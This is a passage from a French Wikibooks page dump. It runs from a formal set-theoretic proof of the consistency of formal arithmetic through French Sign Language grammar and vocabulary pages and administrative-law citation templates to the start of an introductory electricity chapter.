... La fonction de succession erp Succ Succ =def Fonction a(so)X N =def Ensemble induit par Succ à partir de o ==La représentation des termes constants== La fonction d’addition erp Add Add =def Fonction a(sso)bXX’ La fonction de multiplication erp Mult Mult =def Fonction a(ssso)bXX’ L’ensemble des termes constants erp Tconst De même que dans la preuve du théorème fondamental de l’énumérabilité, on définit Tconst à partir de Singleton de o et de la fonction Tprod. Pour tout ensemble x de représentants de termes, Tprod(x) est l’ensemble des représentants obtenus à partir de ceux de x en appliquant une fois l’une des fonctions Succ, Add ou Mult. Tprod =def Fonction Extension de (Il existe un Z’ tel que (Z Egale Im par Succ de Z’ Et Z’ Dans X)) Ou (Il existe un Z’ tel qu’Il existe un Z’’ tel que Z Egale Im par Add de CZ’Z’’ Et Z’ Dans X Et Z’’ Dans X) Ou (Il existe un Z’ tel qu’Il existe un Z’’ tel que Z Egale Im par Mult de CZ’Z’’ Et Z’ Dans X Et Z’’ Dans X) Tconst =def Ensemble-somme de Ensemble induit par Tprod à partir de Singleton de o ==La représentation des assertions atomiques== Egal-const est l’ensemble des égalités arithmétiques entre termes constants (vraies ou fausses). Egal-Prod =def Fonction a(r=)bXX’ Egal-const =def Ensemble-image par Egal-Prod de (Tconst Pcart Tconst) Inf-const est l’ensemble des infériorités arithmétiques entre termes constants (vraies ou fausses). Inf-Prod =def Fonction a(r<)bXX’ Inf-const =def Ensemble-image par Inf-Prod de (Tconst Pcart Tconst) ==La représentation des formules atomiques avec des variables libres== Var est l’ensemble des (représentants des) variables. S3 =def Fonction sssX Var =def Ensemble induit par S3 à partir de rx Tvar est l’ensemble des termes variables. Tvar =def Ensemble-somme de Ensemble induit par Tprod à partir de (N Union Var) Egal-var est l’ensemble des égalités arithmétiques entre termes variables (vraies, fausses et variables). Egal-var =def Ensemble-image par Egal-Prod de (Tvar Pcart Tvar) Inf-var est l’ensemble des infériorités arithmétiques entre termes variables (vraies, fausses et variables). Inf-var =def Ensemble-image par Inf-Prod de (Tvar Pcart Tvar) PAF0 est l’ensemble des prédicats de degré 0 PAF0 =def Egal-var Union Inf-var ==La représentation des prédicats arithmétiques== L’ensemble des prédicats, c’est à dire les formules qui contiennent des variables libres, est défini par induction sur la complexité des formules. PAF(n) est l’ensemble des prédicats de degré n PAF(n+1) = P-Prod(PAF(n)) La fonction P-Prod est définie à partir des suivantes non-P-Prod =def Fonction a(rnon)X et-P-Prod =def Fonction a(ret)bXX’ ou-P-Prod =def Fonction a(rou)bXX’ Exist =def Ensemble induit par Singleton de S3 à partir de Singleton de rexx Tout =def Ensemble induit par Singleton de S3 à partir de Singleton de rttx P-Prod =def Fonction Union( Ensemble-image par non-P-Prod de X, Ensemble-image par et-P-Prod de (X Pcart X), Ensemble-image par ou-P-Prod de (X Pcart X), Ensemble-image par Fonction aXX’ de (Exist Pcart X), Ensemble-image par Fonction aXX’ de (Tout Pcart X)). PAF est l’ensemble des prédicats de l’arithmétique formelle. PAF =def Ensemble somme de Ensemble induit par P-Prod à partir de PAF0 ==La substitution des constantes aux occurences des variables libres== Pour définir la vérité des formules qui contiennent des quantificateurs on aura besoin de l’ensemble suivant. Sub-AF est l’ensemble des quadruplets (q, n, y, p) où p est dans PAF, y est dans Var, n est dans N et q est obtenu par la substitution de n à toutes les occurences de y dans p. Sub-AF est obtenu par l’intermédiaire de Sub, qui est défini par les règles suivantes. S1 Si x est dans Var et n est dans N alors (n,n,x,x) est dans Sub S2 Si x et y sont dans Var et x≠y et n est dans N alors (x,n,y,x) est dans Sub S3 Si n et m sont dans N et x est dans Var alors (n,m,x,n) est dans Sub S4 Si (q,n,y,p) et (w,n,y,v) sont dans Sub alors (bqw,n,y,bpv) est dans Sub S5 Si (q,n,y,p) est dans Sub alors (asoq,n,y,asop) est dans Sub S6 Si (q,n,y,p) est dans Sub alors (assoq,n,y,assop) est dans Sub S7, S8, jusqu’à S12 correspondent de même à la préfixation de assso, asssso jusqu’à asssssssso. S13 Si (q,n,y,p) est dans Sub et x est dans Var et x≠y alors (asxq,n,y,asxp) est dans Sub S14 Si (q,n,y,p) est dans Sub et x est dans Var et x≠y alors (assxq,n,y,assxp) est dans Sub S15 Si p est dans PAF et x est dans Var alors (asxp,n,x,asxp) est dans Sub S16 Si p est dans PAF et x est dans Var alors (assxp,n,x,assxp) est dans Sub On définit Sub par induction à partir des ensembles et des fonctions suivantes. SubS1 =def Ensemble-image par Fonction CXCXCX’X’ de (N Pcart Var) SubS2 =def Ensemble-image par Fonction CX’CXCX’’X’ de (N Pcart VarDif) où VarDif =def Extension de (Z Dans Var Et Z’ Dans Var Et Non(Z Egale Z’)) SubS3 =def Ensemble-image par Fonction CXCX’CX’’X de (N Pcart(N Pcart Var)) ProdS4 =def Fonction (Ensemble-image par (Fonction CbXX’’’’CX’CX’’CbX’’’X’’’’’) de (Ensemble-image par Fonction Extension de (CZCZ’CZ’’Z’’’ Dans X et CZ’’’’CZ’CZ’’Z’’’’’ Dans X) de X)) ProdS5 =def Fonction Ensemble-image par Fonction CasoXCX’CX’’asoX’’’ de X On définit de même ProdS6 jusqu’à ProdS12. ProdS13 =def Fonction Ensemble-image par Fonction CasX’’’’XCX’CX’’asX’’’’X’’’ de Extension de (CZCZ’CZ’’Z’’’ Dans X Et Z’’’’ Dans Var Et Non(Z’’’’ Egale Z’’)) ProdS14 =def Fonction Ensemble-image par Fonction CassX’’’’XCX’CX’’assX’’’’X’’’ de Extension de (CZCZ’CZ’’Z’’’ Dans X Et Z’’’’ Dans Var Et Non(Z’’’’ Egale Z’’)) SubS15 =def Ensemble-image par Fonction CasXX’CX’’CXasXX’ de (Var Pcart(PAF Pcart N)) SubS16 =def Ensemble-image par Fonction CassXX’CX’’CXassXX’ de (Var Pcart(PAF Pcart N)) ProdS =def Fonction Union(Im par ProdS4 de X, Im par ProdS5 de X, ..., Im par ProdS14 de X) Sub =def Ensemble-somme de Ensemble induit par ProdS à partir de Union(SubS1, SubS2, SubS3, SubS15, SubS16) Sub-AF =def Extension de (CZCZ’CZ’’Z’’’ Dans Sub Et Z’’’ Dans PAF) ==La représentation des formules closes (vraies ou fausses)== AAF0 est l’ensemble des assertions de degré 0 AAF0 =def Egal-const Union Inf-const AAF(n+1) = A-Prod(AAFn) est l’ensemble des assertions de degré n+1. C’est l’ensemble des formules closes qui contiennent n opérateurs logiques emboités. Une formule est close si toutes ses variables sont liées. ex-A-Prod =def Fonction Extension de (Il existe Z’, Z’’, Z’’’ tels que Z’ Dans Var Et Z’’ Dans X Et Z’’’ Dans PAF Et Z Dans PAF Et Z Egale asZ’Z’’’ Et CZ’’CoCZ’Z’’’ Dans Sub) tt-A-Prod =def Fonction Extension de (Il existe Z’, Z’’, Z’’’ tels que Z’ Dans Var Et Z’’ Dans X Et Z’’’ Dans PAF Et Z Dans PAF Et Z Egale assZ’Z’’’ Et CZ’’CoCZ’Z’’’ Dans Sub) A-Prod =def Fonction Union( Ensemble-image par non-P-Prod de X, Ensemble-image par et-P-Prod de (X Pcart X), Ensemble-image par ou-P-Prod de (X Pcart X), Im par ex-A-Prod de X, Im par tt-A-Prod de X ). ==La représentation des vérités== L’ensemble des vérités est défini par induction en même temps que l’ensemble des faussetés. FAF0 est l’ensemble des faussetés atomiques. FAF0 =def AAF0 Moins VAF0 AVF est l’ensemble des triplets CxCyz où x est AAFn, y est VAFn et z est FAFn. AVFn= C(AAFn)C(VAFn)(FAFn) AVF(n+1) = AVF-Prod(AVFn) non-V-Prod(X, X’, X’’) =def Ensemble-image par non-P-Prod de X’’ non-F-Prod(X, X’, X’’) =def Ensemble-image par non-P-Prod de X’ et-V-Prod(X, X’, X’’) =def Ensemble-image par et-P-Prod de X’ Pcart X’ et-F-Prod(X, X’, X’’) =def (Ensemble-image par et-P-Prod de X Pcart X’’) Union (Ensemble-image par et-P-Prod de X’’ Pcart X) ou-V-Prod(X, X’, X’’) =def (Ensemble-image par ou-P-Prod de X’ Pcart X) Union (Ensemble-image par ou-P-Prod de X Pcart X’) ou-F-Prod(X, X’, X’’) =def Ensemble-image par ou-P-Prod de X’’ Pcart X’’ ex-V-Prod(X, X’, X’’) =def Extension de (Il existe Z’, Z’’, Z’’’, Z’’’’ tels que Z’ Dans Var Et Z’’ Dans X’ Et Z’’’ Dans PAF Et Z’’’’ Dans N Et Z Dans PAF Et Z Egale asZ’Z’’’ Et CZ’’CZ’’’’CZZ’’’ Dans Sub) ex-F-Prod(X, X’, X’’) =def Extension de (Il existe Z’, Z’’, Z’’’, Z’’’’ tels que Z’ Dans Var Et Z’’ Dans X Et Z’’’ Dans PAF Et Z’’’’ Dans N Et Z Dans PAF Et Z Egale asZ’Z’’’ Et CZ’’CZ’’’’CZZ’’’ Dans Sub) Moins Ex-V-Prod(X, X’, X’’) tt-F-Prod(X, X’, X’’) =def Extension de (Il existe Z’, Z’’, Z’’’, Z’’’’ tels que Z’ Dans Var Et Z’’ Dans X’’ Et Z’’’ Dans PAF Et Z’’’’ Dans N Et Z Dans PAF Et Z Egale assZ’Z’’’ Et CZ’’CZ’’’’CZZ’’’ Dans Sub) tt-V-Prod(X, X’, X’’) =def Extension de (Il existe Z’, Z’’, Z’’’, Z’’’’ tels que Z’ Dans Var Et Z’’ Dans X Et Z’’’ Dans PAF Et Z’’’’ Dans N Et Z Dans PAF Et Z Egale assZ’Z’’’ Et CZ’’CZ’’’’CZZ’’’ Dans Sub) Moins tt-F-Prod(X, X’, X’’) AVF-Prod =def Fonction C(A-Prod(X))C(Union(non-V-Prod(X, X’, X’’), et-V-Prod(X, X’, X’’), ou-V-Prod(X, X’, X’’), ex-V-Prod(X, X’, X’’), tt-V-Prod(X, X’, X’’) ))Union(non-F-Prod(X, X’, X’’), et-F-Prod(X, X’, X’’), ou-F-Prod(X, X’, X’’), ex-F-Prod(X, X’, X’’), tt-F-Prod(X, X’, X’’) ) AVF =def Ensemble induit par AVF-Prod à partir de C(AAF0)C(VAF0)(FAF0) VAF =def Ensemble-somme de Extension de (Il existe Z’, Z’’ tels que CZ’CZZ’’ Dans AVF) Cela termine cette construction de VAF à partir de VAF0. La même construction peut être faite pour n’importe que ensemble initial de formules atomiques. Cela montre que si une théorie a un modèle finitaire, alors l’ensemble de toutes ses vérités est lui aussi finitaire. LSF/Vocab/s'inscrire 2747 14316 2005-03-05T16:41:50Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab s_inscrire.ogg|thumb=LSF VocabThumb s_inscrire.jpeg|français=s'inscrire|mimeo=|mot=s'inscrire|config=}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|sinscrire]] [[Category:LSF/Vocabulaire/Pas trié]] Modèle:Droit administratif/Jurisprudence/CC 2748 41197 2006-04-29T15:51:12Z Pseudomoi 395 +cat Conseil Constitutionnel {{{1}}}, n° {{{2}}} <noinclude>[[Catégorie:Droit administratif|!{{SUBPAGENAME}}]]</noinclude> Modèle:Droit administratif/Jurisprudence/CE Sect 2749 41199 2006-04-29T15:52:17Z Pseudomoi 395 +cat Conseil d'État, arrêt de section, {{{1}}}, n° {{{2}}} <noinclude>[[Catégorie:Droit administratif|!{{SUBPAGENAME}}]]</noinclude> Modèle:Droit administratif/Jurisprudence/GAJA 2750 41201 2006-04-29T15:53:43Z Pseudomoi 395 <noinclude>[[Catégorie:Droit administratif|!{{SUBPAGENAME}}]]</noinclude> GAJA n° {{{1}}} <noinclude>[[Catégorie:Droit administratif|!{{SUBPAGENAME}}]]</noinclude> Modèle:Droit administratif/Jurisprudence/CE Ass 2751 41198 2006-04-29T15:51:42Z Pseudomoi 395 +cat Conseil d'État, arrêt d'assemblée, {{{1}}}, n° {{{2}}} <noinclude>[[Catégorie:Droit administratif|!{{SUBPAGENAME}}]]</noinclude> LSF/Grammaire 2752 14321 2005-03-14T19:00:44Z 83.192.235.203 Corrections. [[w:Utilisateur:Cestlogique|C’est Logique]] {{LSF navigation}} <!--** Ordre des mots ** /Aspect : qu’est ce que c’est ? les mots que tu mets après un verbe pour indiquer le temps: "fini, touche-fini, va-va, pas-encore, pas-fini…", sauf que c’est pas une question de temps, mais, d’aspect… c’est à dire, c’est la difference entre passe-composé (j’ai mangé le pomme) et l’imparfait (je mangais le pomme)… en LSF, ça sera (POMME, MANGER FINI) pour le passé composé, et (POMME, MANGER) pour l’imparfait (comme, HIER, POMME MANGER, VERRE TROUVER!) ** Questions : que veux tu mettre ?? ** Types de phrases (fausse question, ordre, etc) ?? ** [[LSF:Transfert|Transfert simple et double transfert]] * Places/Rôles : ? ** Possessifs : j’ai des trucs la dessus je peux faire ça si tu veux ! ** Verbes directionnels : dans verbes en lexique non ? * Impliqué : qu’est ce que c’est ? * Interprète et Interface--> Tout d’abord une mise au point sur la '''grammaire''' de la [[LSF]] paraît essentielle afin que l’étudiant comprenne comment situer son corps et les signes qu’il fait lorsqu’il s’exprime, l’acquisition du [[le vocabulaire|vocabulaire]] se fera en parallèle. ===Paramètres de la formation des signes=== :Ces paramètres sont indispensables pour une bonne maîtrise de la formation des signes et pour pouvoir être compris ! * '''Configuration''' : forme de la main (exemples de noms de configurations : les noms de l’alphabet dactylologique, bec de canard, index…) * '''Orientation''' : en haut, en bas, à droite, à gauche * '''Emplacement''' : au niveau de la tête, du cou, des épaules… * '''Mouvement''' : de gauche à droite, en spirale, du haut vers le bas… * '''Expression du visage''' La connaissance de ces paramètres permet de reproduire fidèlement les nouveaux signes appris mais aussi de reconnaître les modifications que va leur imposer la syntaxe. : Par exemple : la forme de la main lors d’un signe peut se modifier dans un contexte spécifique pour montrer la forme, la taille d’un objet pour incorporer, pour le pluriel ou pour différencier le déplacement d’un véhicule ou d’une personne. ===Le temps=== :Le temps s’exprime en utilisant une '''ligne perpendiculaire au corps'''. Le ''passé'' s’indique derrière le corps et le ''futur'' devant. ===La localisation=== :Le locuteur effectue une sorte de mise en scène : les personnages, les choses, de même que les événements du discours, sont représentés dans l’espace du signeur. On place d’abord le décor, puis les accessoires et les personnages et enfin l’action. ===Les classificateurs=== voir aussi [[LSF:Transfert]] Signe qui : * soit DÉCRIT la forme, la taille ou l’épaisseur d’une chose (ou ce que tout un groupe de choses ont en commun) :Par exemple, le classificateur "long et épais" peut décrire la forme d’un rôti, d’une bûche ou d’un serpent. * soit REPRÉSENTE (tient place d’une chose ou d’une personne en déplacement) :Tous les classificateurs représentent les choses en mouvement : '''la forme''' de la main montre ''la chose'' (si c’est quelque chose de petit que je tiens dans la main ou si c’est une voiture dont je parle…) et '''le mouvement''' montre ''l’action'' : elle se déplace, je la mange…) Exemple de classificateurs : * pour désigner une '''personne''' : :on utilise l’index pointé vers le haut qui fait différents mouvements en fonction du verbe ([[flâner]], [[bourrer]], [[rencontrer]], [[croiser]], [[faire la queue]], [[se retourner]]…) : on utilise deux doigts pointés vers le sol en mouvement en fonction du verbe ([[s’allonger]], [[sauter]], [[danser]], [[glisser]], [[plonger]], [[nager]],[[grimper sur une arbre]], [[être crevé / sur les rotules]], [[piétiner]]…) * pour '''[[les objets]]''' * pour '''[[les transports]]''' : bus, voiture, vélo… ===Ordre des mots dans une phrase en LSF=== 1) TEMPS - 2) LIEU (décor) - 3) ACCESSOIRES - 4) PERSONNAGES - 5) ACTION Il faut savoir que lorsque un sourd signe il se fait metteur en scène de la situation dont il parle et situe les personnages dans un décor… c’est lui qui dessine dans l’espace les places des uns et des autres au début de son récit, il tournera les yeux vers la droite lorsqu’il fera parler le loup qu’il a, par exemple mis droite, et il tournera les yeux à gauche lorsqu’il fera parler le petit chaperon rouge qu’il aura mis par exemple à gauche à gauche. ===Les pronoms=== * Pronoms personnels * Pronoms réfléchis * Pronoms possessifs * Adjectifs possessifs * Pronoms démonstratifs * Pronoms démonstratifs Le vocabulaire 2753 14322 2005-03-01T22:05:31Z 82.237.136.50 Pour enrichir son lexique voici des pages classées soit par thèmes, soit par ordre alphabétique Pour complèter les pages de [[la grammaire en LSF]] et enrichir l'expression de l'étudiant en [[LSF]], voici des listes de signes : * [[LSF/Proposez un mot|Proposez ou demandez un mot]] === Mots en ordre alphabetique === * [[:Catégorie:LSF/Vocabulaire|LSF -&gt; français]] * [[:Catégorie:LSF/Vocabulaire_fr_à_lsf|Français -&gt; LSF]] === Mots par thème === * [[LSF/Justice|Justice]] * [[LSF/Langage|Langage]] - mots utiles pour parler de la langue * [[LSF/Verbes directionnels|Verbes directionnels]] <!-- * [[LSF/Premiers mots|Les premiers mots]] * [[LSF/Expressions sourds|Expressions sourds]] * [[LSF/Animaux|Animaux]] * [[LSF/Gens célèbres|Gens célèbres]] * [[LSF/Informatique|Informatique]] * [[LSF/Pays|Pays]] * [[LSF/Verbes avec une forme négative|Verbes avec une forme négative]] --> LSF/Vocabulaire 2754 19723 2005-08-21T15:15:34Z Clairette 219 /* Signes par [[Configurations|LSF/Configurations]] */ {{LSF navigation}} ---- Pour complèter les pages de '''[[la grammaire en LSF]]''' et enrichir l'expression de l'étudiant en [[LSF]], voici des listes de signes : * [[LSF/Proposez un mot|Proposez ou demandez un mot]] === Signes/Mots par ordre alphabetique === * [[:Catégorie:LSF/Vocabulaire|LSF -&gt; français]] * [[:Catégorie:LSF/Vocabulaire_fr_à_lsf|Français -&gt; LSF]] === Signes/Mots par thème === * [[LSF/Justice|Justice]] * [[LSF/Langage|Langage]] - mots utiles pour parler de la langue * [[LSF/Verbes directionnels|Verbes directionnels]] <!-- * [[LSF/Premiers mots|Les premiers mots]] * [[LSF/Expressions sourds|Expressions sourds]] * [[LSF/Animaux|Animaux]] * [[LSF/Gens célèbres|Gens célèbres]] * [[LSF/Informatique|Informatique]] * [[LSF/Pays|Pays]] * [[LSF/Verbes avec une forme négative|Verbes avec une forme négative]] --> ===Signes par [[LSF/Configurations|Configurations]]=== ---- {{LSF navigation}} Fondements des mathématiques : une preuve formelle de la cohérence de l'arithmétique formelle 2755 14324 2005-03-01T22:10:06Z Thierry Dugnolle 206 Création La théorie Finitaire1 permet de formaliser la preuve naturelle de la cohérence de l’arithmétique formelle AF. Il faut montrer que l’ensemble des axiomes de AF est inclus dans l’ensemble VAF des vérités du modèle VAF0. Tous ces ensembles sont constructibles dans Finitaire1. ==Pourquoi prouver des évidences ?== Les 13 axiomes de AF qui traduisent les 13 règles de production de VAF0 sont évidemment vrais de VAF0. Les moyens de preuve de Finitaire 1 sont suffisants pour établir cette évidence. Quand on écrit une telle preuve formelle, on ne cherche qu’en apparence à prouver l’évidence. Mais ce qu’on fait en vérité c’est éprouver l’efficacité de la formalisation. Si les règles permettent de prouver des évidences, c’est un bon signe. Si elles ne le pouvaient pas, elles seraient très insuffisantes. En prouvant formellement des évidences on cherche à prouver la qualité de la formalisation mais pas les évidences que l’on prouve cependant. ==La vérité de AF1== La preuve suivante de la vérité de l’axiome AF1 qui traduit la règle R1 de VAF0 a une valeur générale. N’importe quel axiome qui traduit une règle de production d’un modèle est vrai pour ce modèle, et la preuve de ceci peut être formalisée dans Finitaire1. AF1 (pour tout x)(pour tout y)(si x=y alors sx=sy) AF1 est représenté par a(rttx)asss(rttx)a(rnon)a(ret)b(a(r=)b(rx)sss(rx))a(rnon)a(r=)b(a(rs)(rx))a(rs)sss(rx) Il faut prouver que AF1 est dans VAF. Montrons qu’il est dans VAF5. VAF5 =def Union(non-V-Prod(AAF4, VAF4, FAF4), et-V-Prod(AAF4, VAF4, FAF4), ou-V-Prod(AAF4, VAF4, FAF4), ex-V-Prod(AAF4, VAF4, FAF4), tt-V-Prod(AAF4, VAF4, FAF4) ) Montrons que AF1 est dans tt-V-Prod(AAF4, VAF4, FAF4) tt-V-Prod(AAF4, VAF4, FAF4) =def Extension de (Il existe Z’, Z’’, Z’’’, Z’’’’ tels que Z’ Dans Var Et Z’’ Dans AAF4 Et Z’’’ Dans PAF Et Z’’’’ Dans N Et Z Dans PAF Et Z Egale assZ’Z’’’ Et CZ’’CZ’’’’CZZ’’’ Dans Sub) Moins tt-F-Prod(FAF4) tt-F-Prod(FAF4) =def Extension de (Il existe Z’, Z’’, Z’’’, Z’’’’ tels que Z’ Dans Var Et Z’’ Dans FAF4 Et Z’’’ Dans PAF Et Z’’’’ Dans N Et Z Dans PAF Et Z Egale assZ’Z’’’ Et CZ’’CZ’’’’CZZ’’’ Dans Sub) Montrons d’abord que AF1 est dans Extension de (Il existe Z’, Z’’, Z’’’, Z’’’’ tels que Z’ Dans Var Et Z’’ Dans AAF4 Et Z’’’ Dans PAF Et Z’’’’ Dans N Et Z Dans PAF Et Z Egale assZ’Z’’’ Et CZ’’CZ’’’’CZZ’’’ Dans Sub) . AF1 = ass(rx)asss(rttx)a(rnon)a(ret)b(a(r=)b(rx)sss(rx))a(rnon)a(r=)b(a(rs)(rx))a(rs)sss(rx) Il suffit de choisir Z’ = rx Z’’ = asss(rttx)a(rnon)a(ret)b(a(r=)bosss(rx))a(rnon)a(r=)b(a(rs)oa(rs)sss(rx) Z’’’ = asss(rttx)a(rnon)a(ret)b(a(r=)b(rx)sss(rx))a(rnon)a(r=)b(a(rs)(rx))a(rs)sss(rx) Z’’’’ = o Il reste à montrer que AF1 n’est pas dans tt-F-Prod(FAF4). Prouvons (i) (i) Pour tout z’, z’’, z’’’, z’’’’, si z’ est dans Var, z’’ est dans FAF4, z’’’ est dans PAF, z’’’’ est dans N et Cz’’Cz’’’’Cz’z’’’ est dans Sub Alors AF1 ≠ assz’z’’’ On peut prouver facilement si z ≠ rx alors AF1 ≠ assz’z’’’, il reste à montrer que AF1 ≠ ass(rx)z’’’. Supposons AF1 = ass(rx)z’’’ (hyp). Alors z’’’ = asss(rttx)a(rnon)a(ret)b(a(r=)b(rx)sss(rx))a(rnon)a(r=)b(a(rs)(rx))a(rs)sss(rx) z’’= asss(rttx)a(rnon)a(ret)b(a(r=)bz’’’sss(rx))a(rnon)a(r=)b(a(rs)z’’’a(rs)sss(rx) On veut déduire une contradiction à partir de hyp. Il suffit de prouver que z’ n’est pas dans FAF4. FAF4 =def Union(non-F-Prod(AAF3, VAF3, FAF3), et-F-Prod(AAF3, VAF3, FAF3), ou-F-Prod(AAF3, VAF3, FAF3), ex-F-Prod(AAF3, VAF3, FAF3), tt-F-Prod(FAF3) Montrons que z’ n’est pas dans tt-F-Prod(FAF3). Le même raisonnement que ci-dessus peut être répété et on est conduit à vouloir prouver que si x et y sont dans N alors a(rnon)a(ret)b(a(r=)bxy)a(rnon)a(r=)b(a(rs)x)a(rs)y n’est pas dans FAF3. FAF3 =def Union(non-F-Prod(AAF2, VAF2, FAF2), et-F-Prod(AAF2, VAF2, FAF2), ou-F-Prod(AAF2, VAF2, FAF2), ex-F-Prod(AAF2, VAF2, FAF2), tt-F-Prod(AAF2, VAF2, FAF2) non-F-Prod(AAF2, VAF2, FAF2) =def Ensemble-image par non-P-Prod de VAF2 non-P-Prod =def Fonction a(rnon)X On veut alors montrer que a(ret)b(a(r=)bxy)a(rnon)a(r=)b(a(rs)x)a(rs)y n’est pas dans VAF2. La définition de VAF2 conduit à vouloir montrer que a(r=)bxy et a(rnon)a(r=)b(a(rs)x)a(rs)y ne sont pas tous les deux dans VAF1. La définition de VAF1 conduit à vouloir montrer que ou a(r=)bxy n’est pas dans VAF0 ou a(r=)b(a(rs)x)a(rs)y est dans VAF0, pour tous x et y dans N. VAF0 =def Ensemble-somme de Ensemble induit par Prod à partir de Singleton de a(r=)boo Prod =def Fonction Prod1(X) Union (Prod2(X) Union (Prod3(X) Union ... Prod13(X) )) Supposons que a(r=)bxy soit dans VAF0. Il y a un w tel que a(r=)bxy est dans w et w est dans Ensemble induit par Singleton de Prod à partir de Singleton de Singleton de a(r=)boo Im par Prod de w est aussi dans Ensemble induit par Singleton de Prod à partir de Singleton de Singleton de a(r=)boo Prod =def Fonction Prod1(X) Union (Prod2(X) Union (Prod3(X) Union ... Prod13(X) )) Im par Prod1 de w est donc inclus dans Im par Prod de w Prod1 =def Fonction Extension de (Il existe un Z’ tel que Z’ Dans X Et CZ’Z Dans Inst-R1) Inst-R1 =def Ensemble-image par Rep-R1 de Produit cartésien de Tconst et Tconst Rep-R1 =def Fonction C(a(r=)bXX’)(a(r=)b(a(rs)X)a(rs)X’) C(a(r=)bxy)a(r=)b(a(rs)x)a(rs)y est dans Inst-R1 puisque x et y sont dans N et que N est inclus dans Tconst. On en conclut que a(r=)b(a(rs)x)a(rs)y est dans Im par Prod1 de w et donc dans VAF0. Cela termine cette preuve de la vérité de AF1 dans VAF0. Toutes les étapes n’ont pas toujours été explicitées mais il s’agit à chaque fois de la même technique, expliciter les définitions des ensembles étudiés et déduire avec la logique du premier ordre et les axiomes de Finitaire1 les énoncés que l’on veut prouver. Toutes les étapes de ces preuves, longues à écrire mais rapides à trouver, sont également triviales. Elles consistent essentiellement à vérifier qu’on n’a pas oublié de mentionner toutes les règles évidentes dans les axiomes de Finitaire1. ==La vérité de AF14== Il reste à prouver que les représentants de AF14, AF15 et des axiomes d’induction complète sont dans VAF. AF14 Pour tous x et y, si x<y alors non(x=y) AF14 est représenté par a(rttx)asss(rttx)a(rnon)a(ret)b(a(r<)b(rx)sss(rx))a(r=)b(rx)sss(rx) Le même raisonnement que pour AF1 conduit à vouloir montrer que a(r<)bxy n’est pas dans VAF0 ou a(r=)bxy n’est pas dans VAF0, pour tous x et y dans N. On va prouver que VAF0 est inclus dans VAF0 Moins Absurd1 Absurd1 =def Im par Egal-P-Prod de Extension de (Z Dans N Et Z’ Dans N Et Non Z Egale Z’). Soient PVAF =def Ensemble induit par Prod à partir de Singleton de a(r=)boo. Montrons que pour tout z dans PVAF z = z Moins Absurd1 Comme o = o, a(r=)boo n’est pas dans Absurd1, donc Singleton de a(r=)boo = Singleton de a(r=)boo Moins Absurd1 Soit z dans PVAF tel que z = z Moins Absurd1. On peut montrer Prod2(z) Moins Absurd1 =Prod2(z) parce que les éléments de Prod2(z) sont tous de la forme a(r<)buv. De même pour Prod3(z), Prod12(z) et Prod13(z). Pour Prod4(z) à Prod9(z), leurs éléments sont tous de la forme a(r=)b(a(r+)buv)w ou a(r=)b(a(r.)buv)w et ne sont donc pas dans Absurd1. Les éléments de Prod1(z), Prod10(z) et Prod11(z) ne sont pas dans Absurd1 parce que les éléments de z ne sont pas dans Absurd1. On en conclut que Prod(z) Moins Absurd1 = Prod(z). Par induction complète on conclut que pour tout z dans PVAF z = z Moins Absurd1. Il est alors facile de prouver que VAF0 = Ensemble-somme de PVAF = VAF0 Moins Absurd1 On peut prouver de la même façon que VAF0 = VAF0 Moins Absurd2 Absurd2 =def Im par <-P-Prod de Extension de Z Dans N et Z’ Dans N et Z Egale Z’. Supposons alors que a(r=)bxy soit dans VAF0 et que x et y sont dans N. Comme a(r=)bxy n’est pas dans Absurd1, x = y. Comme a(r<)bxx est dans Absurd2, a(r<)bxy n’est pas dans VAF0. Cela termine cette preuve abrégée de la vérité de AF14. La vérité de AF15 peut être prouvée par un raisonnement semblable. ==La vérité des axiomes d’induction complète== Soit AxIC l’ensemble des (représentants des) axiomes d’induction complète. AxIC= Ensemble-somme de Image par IC-Prod de PAF Si P est dans PAF, IC-Prod(P) est l’ensemble fini des axiomes d’induction complète qu’il définit. Ic-Prod(P) contient autant d’éléments que le prédicat P a de variables libres. La construction de AxIC est laborieuse mais elle ne pose pas de difficultés de principes parce qu’il s’agit d’une question décidable. Une démarche semblable aux preuves de vérités des autres axiomes conduit alors à vouloir prouver que les trois hypothèses suivantes sont mutuellement contradictoires pour un élément P de PAF, et n+1 éléments c, c1, ...., cn de N, (i) la formule qui traduit P(0, c1, ...., cn) , c’est à dire la substitution de 0 à l’une des variables x de P et de c1, ...., cn aux autres variables, est un élément de VAF. (ii) la formule qui traduit (pour tout x, si P(x, c1, ...., cn) alors P(sx, c1, ...., cn) ) est dans VAF (iii) la formule qui traduit non P(c, c1, ...., cn) est dans VAF La preuve de cette contradiction est rendu aisée par le fait que VAF est clos par l’opération de conséquence logique, autrement dit, si une formule est la conséquence logique de formules qui sont dans VAF alors elle est aussi dans VAF. Toutes ses preuves sont longues à écrire mais elles ne posent pas de véritables difficultés autres que la précision des définitions. Le raisonnement est une simple traduction formalisée du raisonnement mis en oeuvre dans la preuve naturelle. Cela termine cette preuve abrégée que Finitaire1 permet de prouver la cohérence de AF. LSF/Exercices 2756 14325 2005-03-02T17:02:56Z Kowey 113 {{LSF navigation}} ---- Si vous avez compris l'ensemble de [[La grammaire en LSF]] et acquis un peu [[le vocabulaire]], vous pouvez maintenant vous entraînez en [[LSF]] avec les exercices suivants : * [[LSF/Exercices de dactyologie et chiffres]] * [[LSF/Dialogues simples]] * [[LSF/Histoires à traduire]] ---- {{LSF navigation}} Électricité 2757 42673 2006-05-17T15:55:21Z 82.249.20.100 /* Questions */ =Introduction= Avant tout, quelques notions sur l'électricité, celles-ci aideront les profanes de la technique à apprécier ce livre. [[Catégorie:Physique]] * L'électricité, sous toutes ses formes, est l'expression des particules élémentaires composant les atomes, qui, eux-mêmes, sont les briques de toute matière. * Les électrons ont une charge négative, les protons sont chargés positivement et les neutrons, comme leur nom l'indique, sont neutres. * Les électrons, tournant en orbite autour du noyau des atomes, peuvent plus facilement que les autres particules changer de position, voire changer d'atome et, donc, faire varier la polarisation générale d'un atome. * En transmettant de l'énergie à la matière, on polarise les atomes de cette matière. * Certaines matières sont plus sensibles que les autres aux transferts d'énergie. =Électricité statique= Cette page est traduite du livre [http://en.wikibooks.org/wiki/Electricity_%28GCSE_science%29 GCSE Electricity] de [http://en.wikibooks.org Wikibooks anglophone]. '''Utilisation pratique de l'électricité statique''' Il existe plusieurs exemples d’utilisation pratique de l’électricité statique. Nous allons en considérer deux dans cette section. ==La photocopieuse== La photocopieuse constitue un exemple d’utilisation pratique de l’électricité statique. Une photocopieuse est une machine relativement complexe, mais le principe de base de son fonctionnement est assez simple. La meilleure manière de comprendre ce qui se passe est 